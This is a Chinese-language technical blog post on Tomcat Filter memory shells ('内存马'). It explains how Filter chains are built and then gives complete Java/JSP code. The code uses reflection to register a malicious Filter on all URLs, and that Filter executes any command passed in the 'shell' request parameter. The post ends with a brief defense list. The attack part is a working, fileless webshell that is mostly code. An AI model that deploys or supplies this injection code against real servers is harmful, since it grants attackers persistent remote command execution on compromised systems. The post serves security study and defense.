内存马第二弹——Filter内存马
字数 1450 2025-08-20 18:18:39

Filter内存马技术分析与实现

一、Tomcat三大组件概述

在Tomcat容器中,HTTP请求处理涉及三大核心组件:

  1. Servlet:处理客户端请求并生成响应,执行核心业务逻辑
  2. Filter:过滤器,在HttpServletRequest到达Servlet及HttpServletResponse到达客户端前进行拦截
    • 主要功能:权限控制、日志记录、性能监控、数据加解密
  3. Listener:监听应用程序中的特定事件并执行相应操作
    • 主要功能:管理应用程序生命周期、会话状态、资源初始化和释放

二、Tomcat请求处理流程

  1. 启动阶段

    • ServletContextListener执行contextInitialized方法
    • 初始化资源(如数据库连接池)
  2. 请求到达阶段

    • 请求到达Tomcat后传递给匹配路径的过滤器链
  3. Filter链处理

    • 请求依次经过web.xml或注解定义的过滤器链
    • 每个Filter的doFilter方法依次执行
    • Filter可修改请求对象或拦截请求
  4. Servlet处理

    • 请求到达目标Servlet
    • Servlet调用相应doGet/doPost方法处理请求
  5. 响应处理

    • 响应依次经过Filter链
    • Filter可修改响应内容
    • 响应最终传递回客户端
  6. 销毁阶段

    • ServletContextListener执行contextDestroyed方法
    • 释放资源

三、Filter内存马实现原理

1. Filter执行流程分析

  • ApplicationFilterChain类的filters属性包含自定义filter信息
  • StandardWrapperValve类创建Filter链并准备执行doFilter
  • FilterChain接口用于封装和管理过滤器链

2. FilterChain创建过程

ApplicationFilterFactory.createFilterChain()方法关键步骤:

  1. 实例化ApplicationFilterChain
  2. 获取当前Servlet所属的StandardContext对象
  3. 获取上下文中的所有FilterMap
  4. 根据URL和Servlet名称匹配过滤器
  5. 使用addFilter方法将filterConfig加入链中
  6. 返回创建好的filterChain

四、内存马构造步骤

1. 获取Context对象

// 获取ServletContext对象
ServletContext servletContext = request.getServletContext();

// 获取ApplicationContextFacade对象
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;

// 通过反射获取ApplicationContext
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);

// 获取StandardContext
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

2. 获取filterConfigs

Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);

3. 构造恶意Filter

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }
    
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("执行过滤");
    }
    
    @Override
    public void destroy() {}
};

4. 构造FilterDef并添加到StandardContext

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

5. 构造FilterMap并添加到StandardContext

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");  // 匹配所有请求
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

6. 构造ApplicationFilterConfig并添加到filterConfigs

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
hashMap.put(filterName, applicationFilterConfig);

五、完整内存马实现代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
// 获取ServletContext对象
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;

// 通过反射获取ApplicationContext
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);

// 获取StandardContext
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

// 获取filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);

String filterName = "Filter";
if (hashMap.get(filterName)==null){
    // 构造filter对象
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("filter初始化");
        }
        
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            servletRequest.setCharacterEncoding("utf-8");
            servletResponse.setCharacterEncoding("utf-8");
            servletResponse.setContentType("text/html;charset=UTF-8");
            filterChain.doFilter(servletRequest,servletResponse);
            System.out.println(servletRequest.getParameter("shell"));
            Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
            System.out.println("执行过滤");
        }
        
        @Override
        public void destroy() {}
    };

    // 构造filterDef对象
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);

    // 构造filterMap对象
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(filterName);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);

    // 构造filterConfig
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    // 将filterConfig添加到filterConfigs中
    hashMap.put(filterName,applicationFilterConfig);
    response.getWriter().println("注入完成");
}
%>

六、防御措施

  1. 代码审计:定期检查web应用中的JSP文件
  2. 权限控制:限制上传和执行动态脚本的能力
  3. 运行时监控:监控可疑的Filter动态注册行为
  4. 安全加固:禁用不必要的反射功能
  5. 更新补丁:及时更新Tomcat和相关组件

七、总结

Filter内存马通过动态注册恶意Filter到Tomcat容器中,利用Filter的请求拦截能力实现命令执行。其核心在于:

  1. 通过反射获取StandardContext对象
  2. 构造恶意Filter及其相关配置对象
  3. 将恶意Filter添加到Filter链中
  4. 通过URL参数传递执行命令

理解其实现原理有助于更好地防御此类内存马攻击。

Filter内存马技术分析与实现 一、Tomcat三大组件概述 在Tomcat容器中,HTTP请求处理涉及三大核心组件: Servlet :处理客户端请求并生成响应,执行核心业务逻辑 Filter :过滤器,在HttpServletRequest到达Servlet及HttpServletResponse到达客户端前进行拦截 主要功能:权限控制、日志记录、性能监控、数据加解密 Listener :监听应用程序中的特定事件并执行相应操作 主要功能:管理应用程序生命周期、会话状态、资源初始化和释放 二、Tomcat请求处理流程 启动阶段 : ServletContextListener执行contextInitialized方法 初始化资源(如数据库连接池) 请求到达阶段 : 请求到达Tomcat后传递给匹配路径的过滤器链 Filter链处理 : 请求依次经过web.xml或注解定义的过滤器链 每个Filter的doFilter方法依次执行 Filter可修改请求对象或拦截请求 Servlet处理 : 请求到达目标Servlet Servlet调用相应doGet/doPost方法处理请求 响应处理 : 响应依次经过Filter链 Filter可修改响应内容 响应最终传递回客户端 销毁阶段 : ServletContextListener执行contextDestroyed方法 释放资源 三、Filter内存马实现原理 1. Filter执行流程分析 ApplicationFilterChain 类的 filters 属性包含自定义filter信息 StandardWrapperValve 类创建Filter链并准备执行doFilter FilterChain 接口用于封装和管理过滤器链 2. FilterChain创建过程 ApplicationFilterFactory.createFilterChain() 方法关键步骤: 实例化 ApplicationFilterChain 获取当前Servlet所属的 StandardContext 对象 获取上下文中的所有 FilterMap 根据URL和Servlet名称匹配过滤器 使用 addFilter 方法将 filterConfig 加入链中 返回创建好的 filterChain 四、内存马构造步骤 1. 获取Context对象 2. 获取filterConfigs 3. 构造恶意Filter 4. 构造FilterDef并添加到StandardContext 5. 构造FilterMap并添加到StandardContext 6. 构造ApplicationFilterConfig并添加到filterConfigs 五、完整内存马实现代码 六、防御措施 代码审计 :定期检查web应用中的JSP文件 权限控制 :限制上传和执行动态脚本的能力 运行时监控 :监控可疑的Filter动态注册行为 安全加固 :禁用不必要的反射功能 更新补丁 :及时更新Tomcat和相关组件 七、总结 Filter内存马通过动态注册恶意Filter到Tomcat容器中,利用Filter的请求拦截能力实现命令执行。其核心在于: 通过反射获取StandardContext对象 构造恶意Filter及其相关配置对象 将恶意Filter添加到Filter链中 通过URL参数传递执行命令 理解其实现原理有助于更好地防御此类内存马攻击。